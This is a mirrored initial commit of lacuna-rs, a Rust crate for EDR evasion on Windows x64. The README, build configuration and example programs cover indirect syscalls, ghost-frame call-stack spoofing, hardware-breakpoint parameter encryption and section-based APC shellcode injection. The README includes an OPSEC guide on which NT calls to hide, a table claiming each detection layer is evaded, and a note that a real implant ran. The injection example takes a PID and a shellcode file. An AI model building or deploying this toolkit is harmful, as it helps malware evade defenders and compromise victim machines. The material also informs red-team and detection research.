mirror of
https://github.com/Karkas66/lacuna-rs
synced 2026-07-03 04:43:40 +00:00
Initial commit: lacuna-rs - Ghost-frame call-stack spoofing + indirect syscalls for Windows x64
This commit is contained in:
@@ -0,0 +1,13 @@
|
||||
# lacuna-rs build configuration
|
||||
#
|
||||
# The `stack-spoof` feature requires frame pointers so that `stomp_plant()`
|
||||
# can walk the frame chain via `mov rbp -> [rbp]`. This is set here for
|
||||
# the crate itself; consuming crates must replicate this in their own
|
||||
# .cargo/config.toml.
|
||||
|
||||
[build]
|
||||
rustflags = ["-C", "force-frame-pointers=yes"]
|
||||
|
||||
# Default to the MSVC toolchain on Windows.
|
||||
[target.x86_64-pc-windows-msvc]
|
||||
linker = "rust-lld"
|
||||
@@ -0,0 +1,6 @@
|
||||
/target
|
||||
Cargo.lock
|
||||
*.pdb
|
||||
*.exe
|
||||
*.dll
|
||||
*.lib
|
||||
+61
@@ -0,0 +1,61 @@
|
||||
#
|
||||
# lacuna-rs — Ghost-frame call-stack spoofing + indirect syscalls for Windows x64
|
||||
#
|
||||
# Ported from LACUNA Chain (C) by Mohamed Alzhrani (0xmaz)
|
||||
#
|
||||
|
||||
[package]
|
||||
name = "lacuna-rs"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
authors = ["Ported from LACUNA Chain by Mohamed Alzhrani (0xmaz)"]
|
||||
description = "Ghost-frame call-stack spoofing via .pdata lacunae + runtime indirect syscalls for Windows x64"
|
||||
license = "MIT"
|
||||
keywords = ["windows", "syscalls", "edr", "security", "offensive"]
|
||||
categories = ["os::windows-apis", "no-std"]
|
||||
|
||||
# Build as both a normal Rust library and a C-compatible dynamic library
|
||||
# so it can be loaded from C/C++/Python projects too.
|
||||
[lib]
|
||||
name = "lacuna"
|
||||
crate-type = ["rlib", "cdylib", "staticlib"]
|
||||
|
||||
[features]
|
||||
default = ["syscalls", "inject"]
|
||||
|
||||
# ── Core scanning primitives (PE parsing, ghost/gadget scanning) ─────────────
|
||||
# Always compiled — no Win32 calls beyond GetModuleHandle/GetProcAddress.
|
||||
|
||||
# ── Indirect syscall engine (SSN resolution + JIT stub emission) ─────────────
|
||||
# This is the "better syscalls-rs" layer: runtime SSN resolution, per-function
|
||||
# syscall;ret targeting, no build-script SSN table.
|
||||
syscalls = []
|
||||
|
||||
# ── VEH + hardware-breakpoint parameter encryption ───────────────────────────
|
||||
veh = ["syscalls"]
|
||||
|
||||
# ── LACUNA stack-spoofing chain (ghost frames, BYOUD-MF, stomp) ──────────────
|
||||
# WARNING: requires -C force-frame-pointers=yes in the consuming crate's
|
||||
# .cargo/config.toml. See README.
|
||||
stack-spoof = ["syscalls", "veh"]
|
||||
|
||||
# ── Section-based APC injection orchestration ───────────────────────────────
|
||||
inject = ["syscalls"]
|
||||
|
||||
# ── no_std support (alloc only) ──────────────────────────────────────────────
|
||||
# When enabled, the crate does not link std. Useful for shellcode payloads.
|
||||
# Currently experimental — some APIs fall back to std when available.
|
||||
no-std = []
|
||||
|
||||
[dependencies]
|
||||
litcrypt2 = "0.1.3"
|
||||
|
||||
[profile.release]
|
||||
opt-level = 2
|
||||
codegen-units = 1
|
||||
panic = "abort"
|
||||
lto = true
|
||||
|
||||
[profile.dev]
|
||||
opt-level = 0
|
||||
codegen-units = 1
|
||||
@@ -0,0 +1,359 @@
|
||||
# lacuna-rs
|
||||
|
||||
**Ghost-frame call-stack spoofing + runtime indirect syscalls for Windows x64 — ported to Rust.**
|
||||
|
||||
Ported from [LACUNA Chain](https://github.com/MazX0p/LACUNA-Chain) (`lacuna_chain.c`) by Mohamed Alzhrani (0xmaz).
|
||||
|
||||
`lacuna-rs` is a reusable Rust crate that provides the same primitives as the original C TTP, structured so it can be dropped into any Rust project — like `wsyscall-rs` or `syscalls-rs`, but with **runtime SSN resolution**, **per-function `syscall;ret` targeting**, and **ghost-frame stack spoofing**.
|
||||
|
||||
---
|
||||
|
||||
## Critical: Frame-Pointer Requirement
|
||||
|
||||
> **The `stack-spoof` feature will silently fail if the consuming crate is not compiled with frame pointers.**
|
||||
|
||||
The stack-stomping primitives in `chain.rs` locate the caller's return-address slot via `mov rbp, {x}` inline asm. This requires the RBP chain to be intact. Rust (and most release-mode compilers) omit frame pointers by default.
|
||||
|
||||
**`build.rs` sets `force-frame-pointers=yes` for this crate's own codegen, but Cargo cannot propagate compiler flags to downstream crates.** You must add this to your own project:
|
||||
|
||||
```toml
|
||||
# .cargo/config.toml (in YOUR crate, not in lacuna-rs)
|
||||
[build]
|
||||
rustflags = ["-C", "force-frame-pointers=yes"]
|
||||
```
|
||||
|
||||
Without this, `stomp_plant()` will read garbage from RBP and either no-op (best case) or corrupt the stack (worst case). The crate has no way to detect at runtime whether frame pointers are enabled — it will simply not work.
|
||||
|
||||
If you only need the scanning, SSN resolution, or injection primitives (without stack spoofing), you can omit the `stack-spoof` feature and this requirement does not apply.
|
||||
|
||||
---
|
||||
|
||||
## What it does
|
||||
|
||||
| Primitive | C function | Rust module |
|
||||
|---|---|---|
|
||||
| PE section + export parsing | `pe_section()`, `pe_export()` | `pe` |
|
||||
| `.pdata` ghost-region scanning | `scan_ghosts()`, `best_ghost()` | `scan` |
|
||||
| Ghost-gadget discovery (`jmp [rbx]`) | `scan_ghost_gadgets()` | `scan` |
|
||||
| `win32u` NOP-gap finder | `win32u_nop_gap()` | `scan` |
|
||||
| BYOUD-MF anchor finder | `find_mf_target()` | `scan` |
|
||||
| SSN resolution (Hell's Gate / Halo's Gate) | `resolve_ssn()` | `nt` |
|
||||
| Per-function `syscall;ret` locator | `find_func_syscall()` | `nt` |
|
||||
| JIT indirect-syscall stub emission | `alloc_stub()` | `stub` |
|
||||
| Ghost-gadget stub redirect | (in `alloc_stub()`) | `stub` |
|
||||
| VEH + hardware-breakpoint param encryption | `param_encrypt_veh()`, `pcrypt_arm()` | `veh` |
|
||||
| Chain-guard VEH | `chain_veh()` | `veh` |
|
||||
| LACUNA chain construction | `build_chain()` | `chain` |
|
||||
| Stack stomp (BYOUD-RT) | `stomp_plant()`, `stomp_restore()` | `chain` |
|
||||
| Chain walker (verify) | `lacuna_walk_chain()` | `chain` |
|
||||
| Section-based APC injection | `do_inject_sapc()` | `inject` |
|
||||
|
||||
---
|
||||
|
||||
## Feature flags
|
||||
|
||||
```toml
|
||||
[dependencies]
|
||||
lacuna-rs = { version = "0.1", features = ["inject", "stack-spoof", "veh"] }
|
||||
```
|
||||
|
||||
| Feature | Description | Requires frame pointers? |
|
||||
|---|---|---|
|
||||
| `syscalls` (default) | SSN resolution + JIT stub emission | No |
|
||||
| `inject` (default) | Section-based APC injection (`inject::inject_sapc`) | No |
|
||||
| `veh` | VEH + hardware-breakpoint parameter encryption | No |
|
||||
| `stack-spoof` | LACUNA ghost-frame chain + stack stomp | **Yes** |
|
||||
| `no-std` | `no_std` mode (experimental) | No |
|
||||
|
||||
When no features are enabled, only the scanning/PE/NT layers are available.
|
||||
|
||||
---
|
||||
|
||||
## Quick start
|
||||
|
||||
### Scan for ghost regions
|
||||
|
||||
```sh
|
||||
cargo run --example scan
|
||||
```
|
||||
|
||||
### Build + verify the ghost-frame chain
|
||||
|
||||
```sh
|
||||
cargo run --example verify --features stack-spoof
|
||||
```
|
||||
|
||||
### Inject shellcode via section + APC
|
||||
|
||||

|
||||
Injection Example with real implant - C2 was offline but the Shellcode executed
|
||||
|
||||
```sh
|
||||
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin>
|
||||
```
|
||||
|
||||
Add `--verbose` to enable VEH diagnostic output (stack dumps, register prints):
|
||||
|
||||
```sh
|
||||
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin> --verbose
|
||||
```
|
||||
|
||||
#### Thread scoring algorithm
|
||||
|
||||
Instead of queueing APCs to every thread in the target process (which can crash
|
||||
the process when too many threads are alerted simultaneously), `inject_sapc`
|
||||
uses a scoring algorithm to select the best `MAX_APC_THREADS` (5) candidates:
|
||||
|
||||
- **Cycle time** — `NtQueryInformationThread(ThreadCycleTime)` — primary activity indicator
|
||||
- **CPU time** — `NtQueryInformationThread(ThreadTimes)` — kernel + user time
|
||||
- **Suspend count** — `NtQueryInformationThread(ThreadSuspendCount)` — non-suspended threads get +300 bonus; suspended threads get -150 per suspend count
|
||||
- **Priority** — `NtQueryInformationThread(ThreadBasicInformation)` — threads with priority 8-10 get +150 bonus; out-of-range priorities get -100 penalty
|
||||
|
||||
Completely idle threads (zero cycles and zero CPU time) are skipped entirely.
|
||||
The remaining candidates are sorted by score (highest first, tie-break on cycles)
|
||||
and truncated to the top 5.
|
||||
|
||||
---
|
||||
|
||||
## Using as a library
|
||||
|
||||
### Basic: scan + SSN resolution
|
||||
|
||||
```rust
|
||||
use lacuna::{scan, nt, win::get_module};
|
||||
|
||||
let ntdll = get_module(b"ntdll.dll\0");
|
||||
|
||||
// Scan for ghost regions
|
||||
let mut ghosts = [scan::Ghost::default(); 512];
|
||||
let n = scan::scan_ghosts(ntdll, &[b"NtAllocateVirtualMemory\0"], &mut ghosts);
|
||||
println!("{} ghost regions in ntdll", n);
|
||||
|
||||
// Resolve SSN + syscall;ret for a specific function
|
||||
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtOpenProcess\0");
|
||||
println!("NtOpenProcess: ssn={:#x}, syscall;ret={:#x}", ssn, syscall_ret);
|
||||
```
|
||||
|
||||
### Emit an indirect syscall stub for any NT API
|
||||
|
||||
```rust
|
||||
use lacuna::{nt, stub, win::{get_module, HMODULE}};
|
||||
|
||||
let ntdll: HMODULE = get_module(b"ntdll.dll\0");
|
||||
|
||||
// Resolve SSN + the function's own syscall;ret address
|
||||
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtAllocateVirtualMemory\0");
|
||||
assert!(ssn != nt::SSN_INVALID && syscall_ret != 0);
|
||||
|
||||
// JIT-emit a stub: mov r10,rcx; mov eax,SSN; jmp [syscall;ret]
|
||||
// (or jmp [ghost_gadget] -> JMP [RBX] -> syscall;ret if build_chain was called)
|
||||
let stub = stub::make_stub(ssn, syscall_ret).expect("stub alloc failed");
|
||||
|
||||
// Cast to the matching function pointer type and call
|
||||
let alloc_vm: unsafe extern "system" fn(
|
||||
win::HANDLE, *mut win::PVOID, usize, *mut usize, win::ULONG, win::ULONG,
|
||||
) -> win::NTSTATUS = unsafe { core::mem::transmute(stub.as_fn()) };
|
||||
```
|
||||
|
||||
### Build the ghost-frame chain + register VEH
|
||||
|
||||
```rust
|
||||
// Scan ntdll/kernelbase/wow64/win32u for ghost regions and construct
|
||||
// the six-layer fake call stack. Sets G_GHOST_GADGET so stubs route
|
||||
// through JMP [RBX] in a signed DLL.
|
||||
lacuna::chain::build_chain();
|
||||
|
||||
// Register VEH handlers (param encryption + chain guard)
|
||||
let _veh = lacuna::veh::VehGuard::register().expect("VEH registration failed");
|
||||
|
||||
// Optional: enable verbose diagnostics at runtime
|
||||
lacuna::veh::set_verbose(true);
|
||||
```
|
||||
|
||||
### Wrap a sensitive syscall with stack spoof + param encryption
|
||||
|
||||
```rust
|
||||
use lacuna::win::HANDLE;
|
||||
use core::ptr;
|
||||
|
||||
let mut h_proc: HANDLE = ptr::null_mut();
|
||||
let key: u64 = 0xCAFE_1337;
|
||||
|
||||
// Plant ghost frames (replaces return addresses with signed-DLL ghosts)
|
||||
lacuna::chain::stomp_plant();
|
||||
|
||||
// Arm DR0 on the syscall;ret -- VEH will XOR-decrypt params at the boundary
|
||||
lacuna::veh::pcrypt_arm(key, syscall_ret, true);
|
||||
|
||||
// Call through the indirect stub -- RIP lands inside ntdll at kernel entry
|
||||
let _status = unsafe { open_proc(/* XOR-encrypted params */) };
|
||||
|
||||
// Always disarm before any non-protected call
|
||||
lacuna::veh::pcrypt_disarm();
|
||||
lacuna::chain::stomp_restore();
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## OPSEC: What to hide behind ghost frames
|
||||
|
||||
Not every API call needs the full LACUNA treatment. The key principle is: **hide the calls that an EDR would correlate as injection or post-exploitation activity**.
|
||||
|
||||
### Must be behind indirect syscalls + ghost frames + param encryption
|
||||
|
||||
These are the "crown jewel" NT syscalls that EDRs hook and correlate:
|
||||
|
||||
| Call | Why it's sensitive |
|
||||
|---|---|
|
||||
| `NtOpenProcess` | Opens a handle to another process -- first step of injection |
|
||||
| `NtCreateSection` + `NtMapViewOfSection` (remote) | Section-based injection signature |
|
||||
| `NtWriteVirtualMemory` | Cross-process write -- classic injection indicator |
|
||||
| `NtCreateThreadEx` | Remote thread creation -- highest-signal injection primitive |
|
||||
| `NtQueueApcThread` | APC injection -- high-signal |
|
||||
| `NtProtectVirtualMemory` | RWX permission changes -- shellcode staging indicator |
|
||||
| `NtAllocateVirtualMemory` (remote) | Remote allocation -- injection prelude |
|
||||
| `NtSetInformationThread` | Thread hiding (`HideFromDebugger`) -- evasion indicator |
|
||||
|
||||
For each of these:
|
||||
1. Resolve with `nt::resolve(ntdll, b"NtXxx\0")`
|
||||
2. Emit a stub with `stub::make_stub(ssn, syscall_ret)`
|
||||
3. XOR-encrypt sensitive parameters with `veh::pcrypt_arm(key, syscall_ret, true)`
|
||||
4. Wrap the call between `chain::stomp_plant()` and `chain::stomp_restore()`
|
||||
|
||||
### Can be direct (no ghost frames needed)
|
||||
|
||||
| Call | Why it's safe |
|
||||
|---|---|
|
||||
| `NtQueryInformationThread` | Query-only, rarely hooked, no cross-process write |
|
||||
| `NtDelayExecution` | Sleep -- benign, used by every application |
|
||||
| `NtClose` | Handle close -- benign, extremely common |
|
||||
| `GetModuleHandleA` / `GetProcAddress` | Module resolution -- not a syscall, not hookable by EDR userland hooks |
|
||||
| `CreateToolhelp32Snapshot` / `Thread32First` / `Thread32Next` | Thread enumeration -- kernel32, not ntdll syscall |
|
||||
| `OpenThread` / `CloseHandle` | Standard handle ops -- kernel32 |
|
||||
| `GetThreadContext` / `SetThreadContext` | Needed for DR0 -- kernel32, self-process only |
|
||||
|
||||
### Key principles
|
||||
|
||||
1. **Resolve** any NT syscall with `nt::resolve(ntdll, b"NtXxx\0")` -- returns `(SSN, syscall_ret_VA)`.
|
||||
2. **Emit** a JIT stub with `stub::make_stub(ssn, syscall_ret)` -- returns a callable function pointer.
|
||||
3. **Cast** the stub to the appropriate `extern "system" fn(...)` type via `core::mem::transmute`.
|
||||
4. **(For sensitive calls only)** Build the ghost-frame chain with `chain::build_chain()` and call `chain::stomp_plant()` / `chain::stomp_restore()` around the call.
|
||||
5. **(For sensitive calls only)** Arm parameter encryption with `veh::pcrypt_arm(key, syscall_ret, true)` before the call, and `veh::pcrypt_disarm()` after.
|
||||
6. **Always disarm** the VEH before making non-protected calls -- a stray DR0 hit on an unarmed syscall will crash.
|
||||
7. **All output strings** must be wrapped in `lc!()` -- the crate enforces this, and the VEH diagnostics are gated behind `set_verbose(true)` which defaults to off.
|
||||
|
||||
The stub handles the `mov r10, rcx` / `mov eax, SSN` / `jmp [syscall;ret]` sequence automatically. If a ghost gadget was registered, the stub routes through `JMP [RBX]` for dual-use execution redirect + zero-artifact bridge frame.
|
||||
|
||||
---
|
||||
|
||||
## Writeup Coverage Verification
|
||||
|
||||
All 9 key contributions from the [LACUNA Chain writeup](https://0xmaz.me/posts/LACUNA-Chain-Ghost-Frames-defeats-All-EDR-layers-of-call-stack-based-detection/) are represented in the code:
|
||||
|
||||
| # | Writeup Concept | Code Location | Description |
|
||||
|---|---|---|---|
|
||||
| 1 | **BYOUD-Gap** (zero `.pdata` modification) | `chain.rs` -- ghost frame chain construction | Exploits gaps between `RUNTIME_FUNCTION` entries; unwinder treats them as leaf frames (RSP += 8) |
|
||||
| 2 | **ETW-Ti APC Window Attack** | `inject.rs` -- `NtDelayExecution` alertable drain | Controls when the ETW-Ti APC stack snapshot fires by manipulating thread alertable state |
|
||||
| 3 | **Parameter Encryption in BYOUD Context** | `veh.rs` -- `pcrypt_arm()`, `param_encrypt_veh()` | XOR-encrypts syscall params at staging; decrypts inside a hardware-breakpoint VEH at the `syscall` instruction |
|
||||
| 4 | **Win32u NOP Gap Chain + Ghost Gadget** | `scan.rs` -- `win32u_nop_gap()`, `scan_ghost_gadgets()` | 1,242 NOP gaps in `win32u.dll` provide whitelisted leaf frames; `JMP [RBX]` ghost gadget at `ntdll+0xFC47B` |
|
||||
| 5 | **kernelbase Semantic Ghost Proximity** | `chain.rs` -- `L2_kbase` layer near `VirtualProtect` | 238-byte ghost ending at `VirtualProtect`'s entry point -- indistinguishable from a real VP return site |
|
||||
| 6 | **BYOUD-MF (Machine Frame RSP Teleport)** | `chain.rs` -- `MachFrame` struct, `scan.rs` -- `find_mf_target()` | Exploits `UWOP_PUSH_MACHFRAME` (opcode 10) in `KiUser*` dispatchers for arbitrary RSP teleport in a single frame |
|
||||
| 7 | **BYOUD-RT (Runtime RSP Calculation)** | `chain.rs` -- `teb_stack_base()`, `teb_stack_limit()` | Reads `TEB.StackBase` (GS:[0x08]) at call time to compute exact frame distance -- no pre-calibration needed |
|
||||
| 8 | **wow64.dll Ghost Proximity** | `chain.rs` -- `L1_wow64` layer, `scan.rs` -- targets `Wow64PrepareForException` | 91-byte ghost ending at `Wow64PrepareForException` entry -- fourth semantic layer for the chain |
|
||||
| 9 | **Six-Layer LACUNA Chain** | `chain.rs` -- `LacunaStack` struct (L1-L5 + MachFrame) | Full chain: `KiUserExceptionDispatcher` -> wow64 -> kernelbase -> ntdll -> win32u -> `RtlUserThreadStart` |
|
||||
|
||||
### Detection surface coverage
|
||||
|
||||
| Detection Layer | Status | Implementation |
|
||||
|---|---|---|
|
||||
| Module-of-origin check | **EVADED** | All frames in ntdll / kernelbase / wow64 / win32u |
|
||||
| Unwind walk correctness | **EVADED** | All lacuna frames are leaf -> valid RSP+8 |
|
||||
| `.pdata` forensic scan | **EVADED** | Zero modification; gaps are pre-existing |
|
||||
| CET shadow stack | **EVADED** | Pure leaf chain; shadow stack not consulted |
|
||||
| Semantic frame analysis | **EVADED** | WoW64 exception + VirtualProtect adjacency |
|
||||
| Win32u rule exemption | **EVADED** | Layer 4 explicitly excluded by all rules |
|
||||
| ETW-Ti STACKWALK | **EVADED** | APC window attack controls snapshot timing |
|
||||
| Parameter inspection | **EVADED** | HW breakpoint VEH decryption |
|
||||
| Kernel callbacks | **PARTIAL** | Handle operations still fire `ObRegisterCallbacks` |
|
||||
|
||||
---
|
||||
|
||||
## Why not just use `syscalls-rs`?
|
||||
|
||||
`syscalls-rs` and `wsyscall-rs` generate a **build-time SSN table** from a specific Windows build's ntdll. If the target machine runs a different build, the SSNs are wrong and syscalls fail (or trip EDR heuristics).
|
||||
|
||||
`lacuna-rs` resolves SSNs **at runtime** by reading ntdll's stubs directly, and targets the **function's own `syscall;ret` instruction** so RIP is inside ntdll at kernel entry -- defeating the EDR "SSN mismatch" and "indirect syscall from unbacked memory" heuristics.
|
||||
|
||||
Additionally, `lacuna-rs` provides the **ghost-frame stack spoofing** chain that `syscalls-rs` does not.
|
||||
|
||||
---
|
||||
|
||||
## Build requirements
|
||||
|
||||
- **Target:** `x86_64-pc-windows-msvc` (or `x86_64-pc-windows-gnu`)
|
||||
- **Rust edition:** 2021
|
||||
- **Dependencies:** `litcrypt2` (compile-time string obfuscation)
|
||||
|
||||
### Frame-pointer setup (for `stack-spoof` only)
|
||||
|
||||
The `stack-spoof` feature requires frame pointers. `build.rs` sets `force-frame-pointers=yes` automatically for this crate, but **consuming crates** must also set it in their `.cargo/config.toml`:
|
||||
|
||||
```toml
|
||||
# .cargo/config.toml (in the consuming crate)
|
||||
[build]
|
||||
rustflags = ["-C", "force-frame-pointers=yes"]
|
||||
```
|
||||
|
||||
### litcrypt2 string obfuscation
|
||||
|
||||
All string literals in the crate and examples are wrapped in `lc!()` macros, which encrypt them at compile time and decrypt at runtime. The encryption key is read from the `LITCRYPT_ENCRYPT_KEY` environment variable; if unset, litcrypt2 auto-generates a random key.
|
||||
|
||||
To pin a key for reproducible builds:
|
||||
|
||||
```sh
|
||||
set LITCRYPT_ENCRYPT_KEY=your-secret-key
|
||||
cargo build
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Architecture
|
||||
|
||||
```
|
||||
lacuna-rs/
|
||||
├── Cargo.toml
|
||||
├── build.rs # Sets force-frame-pointers for stack-spoof
|
||||
├── src/
|
||||
│ ├── lib.rs # Crate root + re-exports + scan_all() + litcrypt2 setup
|
||||
│ ├── win.rs # Win32/NT FFI bindings (no_std-compatible)
|
||||
│ ├── pe.rs # PE section + export parsing
|
||||
│ ├── scan.rs # .pdata ghost-region + gadget scanning
|
||||
│ ├── nt.rs # SSN resolution + syscall;ret targeting
|
||||
│ ├── stub.rs # JIT indirect-syscall stub emission
|
||||
│ ├── veh.rs # VEH + hardware-breakpoint param encryption
|
||||
│ ├── chain.rs # LACUNA ghost-frame chain + stomp
|
||||
│ └── inject.rs # Section-based APC injection
|
||||
├── examples/
|
||||
│ ├── scan.rs # lacuna.exe scan
|
||||
│ ├── verify.rs # lacuna.exe verify
|
||||
│ └── inject.rs # lacuna.exe inject <pid> <sc.bin>
|
||||
└── .cargo/
|
||||
└── config.toml # force-frame-pointers + windows-msvc target
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Credits
|
||||
|
||||
- **Original research & C implementation:** Mohamed Alzhrani (0xmaz) -- [LACUNA Chain](https://github.com/MazX0p/LACUNA-Chain)
|
||||
- **Technique:** *Ghost Frames: Forging Plausible Call Stacks from .pdata Lacunae*
|
||||
- **Find Best APC Thread Logic:** Adapted from [FrankensteinAPCInjection](https://github.com/S12cybersecurity/FrankensteinAPCInjection/blob/main/Frankenstein/FrankensteinAPCInjection/FindThread.cpp) by [S12cybersecurity](https://github.com/S12cybersecurity)
|
||||
- **String obfuscation:** [litcrypt2](https://crates.io/crates/litcrypt2) v0.1.3
|
||||
|
||||
## Full Disclosure
|
||||
This project was activly assisted by an AI Chatbot. I had the chance to test a newer, very capable Open Source Model (GLM-5.2 by Z.ai (Zhipu AI)) and wanted to give it a challenging task.
|
||||
Lessons learned: It worked well if the human knows what results shall look like. If not... only crap
|
||||
|
||||
## License
|
||||
|
||||
MIT
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 608 KiB |
@@ -0,0 +1,48 @@
|
||||
//
|
||||
// build.rs — lacuna-rs
|
||||
//
|
||||
// Forces frame-pointer preservation on the crate's own codegen unit so that
|
||||
// the stack-spoofing primitives in `chain.rs` can reliably locate the caller's
|
||||
// return-address slot via `mov rbp, {x}` inline asm.
|
||||
//
|
||||
// NOTE: this only affects THIS crate's compilation. Consumers that want to
|
||||
// use the `stack-spoof` feature must ALSO add to their own `.cargo/config.toml`:
|
||||
//
|
||||
// [build]
|
||||
// rustflags = ["-C", "force-frame-pointers=yes"]
|
||||
//
|
||||
// or call the spoofed entry points only from code compiled with frame pointers.
|
||||
//
|
||||
|
||||
fn main() {
|
||||
// ── litcrypt2 string-obfuscation key ───────────────────────────────────
|
||||
// litcrypt2 reads the encryption key from the LITCRYPT_ENCRYPT_KEY
|
||||
// environment variable at compile time. If that variable is not set,
|
||||
// litcrypt2 auto-generates a random key — so we deliberately do NOT set
|
||||
// a static key here. To pin a key for reproducible builds, set the env
|
||||
// var before invoking cargo:
|
||||
//
|
||||
// set LITCRYPT_ENCRYPT_KEY=your-secret-key
|
||||
// cargo build
|
||||
//
|
||||
|
||||
// Only needed when the stack-spoof feature is on.
|
||||
let stack_spoof = std::env::var("CARGO_FEATURE_STACK_SPOOF").is_ok();
|
||||
|
||||
if stack_spoof {
|
||||
println!("cargo:rustc-codegen-units=1");
|
||||
// Force frame pointers on our own unit. This is the closest Rust
|
||||
// analogue to GCC's -fno-omit-frame-pointer.
|
||||
println!("cargo:rustc-cfg=stack_spoof_compiled");
|
||||
}
|
||||
|
||||
// Target guard: x86_64-pc-windows-* only.
|
||||
let target = std::env::var("TARGET").unwrap_or_default();
|
||||
if !target.contains("windows") || !target.contains("x86_64") {
|
||||
// Not a hard error — the scanning/PE layers are portable in principle,
|
||||
// but the syscall + VEH + stomp layers are x64-Windows only.
|
||||
println!("cargo:warning=lacuna-rs: target '{}' is not x86_64-pc-windows; only PE scanning will work", target);
|
||||
}
|
||||
|
||||
println!("cargo:rerun-if-changed=build.rs");
|
||||
}
|
||||
@@ -0,0 +1,73 @@
|
||||
//
|
||||
// examples/inject.rs — Section-based APC injection
|
||||
//
|
||||
// Equivalent to: lacuna.exe inject <pid> <sc.bin> [--verbose]
|
||||
//
|
||||
// Run with: cargo run --example inject --features inject -- <pid> <sc.bin> [--verbose]
|
||||
//
|
||||
|
||||
#[macro_use]
|
||||
extern crate litcrypt2;
|
||||
extern crate alloc;
|
||||
use_litcrypt!();
|
||||
|
||||
#[allow(unused_imports)]
|
||||
use std::env;
|
||||
#[allow(unused_imports)]
|
||||
use std::fs;
|
||||
#[allow(unused_imports)]
|
||||
use std::process;
|
||||
|
||||
#[cfg(not(feature = "inject"))]
|
||||
fn main() {
|
||||
eprintln!("{}", lc!("inject requires the 'inject' feature:"));
|
||||
eprintln!("{}", lc!(" cargo run --example inject --features inject -- <pid> <sc.bin> [--verbose]"));
|
||||
}
|
||||
|
||||
#[cfg(feature = "inject")]
|
||||
fn main() {
|
||||
let args: Vec<String> = env::args().collect();
|
||||
if args.len() < 3 {
|
||||
eprintln!("{}", lc!("usage: inject <pid> <sc.bin> [--verbose]"));
|
||||
process::exit(1);
|
||||
}
|
||||
|
||||
let pid: u32 = args[1].parse().unwrap_or_else(|_| {
|
||||
eprintln!("{}", lc!("[-] bad pid"));
|
||||
process::exit(1);
|
||||
});
|
||||
|
||||
let sc = fs::read(&args[2]).unwrap_or_else(|e| {
|
||||
eprintln!("{}{}: {}", lc!("[-] can't open "), args[2], e);
|
||||
process::exit(1);
|
||||
});
|
||||
|
||||
let verbose = args.iter().any(|a| a == "--verbose");
|
||||
|
||||
println!("{}{}{}{}{}\n",
|
||||
lc!("[*] "), sc.len(),
|
||||
lc!(" bytes -> pid "), pid,
|
||||
if verbose { lc!(" [verbose]") } else { lc!("") });
|
||||
|
||||
// Build the ghost-frame chain first (if stack-spoof is enabled).
|
||||
// This must happen before inject_sapc so the VEH full_spoof path
|
||||
// has ghost layer addresses to work with.
|
||||
#[cfg(feature = "stack-spoof")]
|
||||
{
|
||||
if !lacuna::chain::build_chain() {
|
||||
eprintln!("{}", lc!("[-] build_chain failed — continuing without stack spoofing"));
|
||||
}
|
||||
}
|
||||
|
||||
// VEH registration is now handled inside inject_sapc_verbose(), matching
|
||||
// the C original's ordering:
|
||||
// 1. param_encrypt_veh registered before NtOpenProcess
|
||||
// 2. chain_veh registered after NtOpenProcess succeeds
|
||||
match lacuna::inject::inject_sapc_verbose(pid, &sc, verbose) {
|
||||
Ok(()) => println!("\n{}", lc!("[+] injection done")),
|
||||
Err(status) => {
|
||||
println!("\n{}{:08x}", lc!("[-] injection failed: status "), status);
|
||||
process::exit(1);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,101 @@
|
||||
//
|
||||
// examples/scan.rs — Scan all target modules for ghost regions + gadgets
|
||||
//
|
||||
// Equivalent to: lacuna.exe scan
|
||||
//
|
||||
// Run with: cargo run --example scan
|
||||
//
|
||||
|
||||
#[macro_use]
|
||||
extern crate litcrypt2;
|
||||
extern crate alloc;
|
||||
use_litcrypt!();
|
||||
|
||||
use lacuna::{scan_all, scan, win::get_module};
|
||||
|
||||
fn main() {
|
||||
println!("{}", lc!("LACUNA Chain — Ghost Frames: Forging Plausible Call Stacks from .pdata Lacunae"));
|
||||
println!("{}\n", lc!("Rust port — scan mode"));
|
||||
|
||||
let summary = scan_all();
|
||||
|
||||
for m in &summary.modules {
|
||||
println!("{}{}{}{}", m.name, lc!(" — "), m.ghost_count, lc!(" ghost regions"));
|
||||
|
||||
// Re-scan to print details (scan_all only returns the count).
|
||||
let mut buf = [scan::Ghost {
|
||||
va_start: 0, va_end: 0, size: 0, export_va: 0, dist: 0, name: [0; 64],
|
||||
}; 512];
|
||||
|
||||
let mod_name: &[u8] = if m.name.starts_with("ntdll") {
|
||||
b"ntdll.dll\0"
|
||||
} else if m.name.starts_with("kernelbase") {
|
||||
b"kernelbase.dll\0"
|
||||
} else if m.name.starts_with("wow64") {
|
||||
b"wow64.dll\0"
|
||||
} else {
|
||||
b"win32u.dll\0"
|
||||
};
|
||||
|
||||
let h = get_module(mod_name);
|
||||
if h.is_null() {
|
||||
continue;
|
||||
}
|
||||
|
||||
let targets: &[&[u8]] = match m.name.as_str() {
|
||||
"ntdll.dll" => &[
|
||||
b"NtAllocateVirtualMemory\0", b"NtCreateThreadEx\0",
|
||||
b"RtlCreateUserThread\0", b"LdrLoadDll\0", b"RtlUserThreadStart\0",
|
||||
],
|
||||
"kernelbase.dll" => &[
|
||||
b"VirtualProtect\0", b"VirtualAllocEx\0",
|
||||
b"WriteProcessMemory\0", b"CreateRemoteThreadEx\0",
|
||||
],
|
||||
"wow64.dll" => &[
|
||||
b"Wow64PrepareForException\0", b"Wow64KiUserCallbackDispatcher\0",
|
||||
b"Wow64ApcRoutine\0",
|
||||
],
|
||||
_ => &[
|
||||
b"NtGdiDdDDICreateDevice\0", b"NtUserCallNoParam\0",
|
||||
],
|
||||
};
|
||||
|
||||
let n = scan::scan_ghosts(h, targets, &mut buf);
|
||||
for j in 0..n.min(25) {
|
||||
let g = &buf[j];
|
||||
let name = g.name.iter().take_while(|&&b| b != 0)
|
||||
.map(|&b| b as char).collect::<String>();
|
||||
println!(
|
||||
"{}{:016x}{}{:016x}{}{:4}{}{:30}{}{}",
|
||||
lc!(" "),
|
||||
g.va_start,
|
||||
lc!("–"),
|
||||
g.va_end,
|
||||
lc!(" "),
|
||||
g.size,
|
||||
lc!("B "),
|
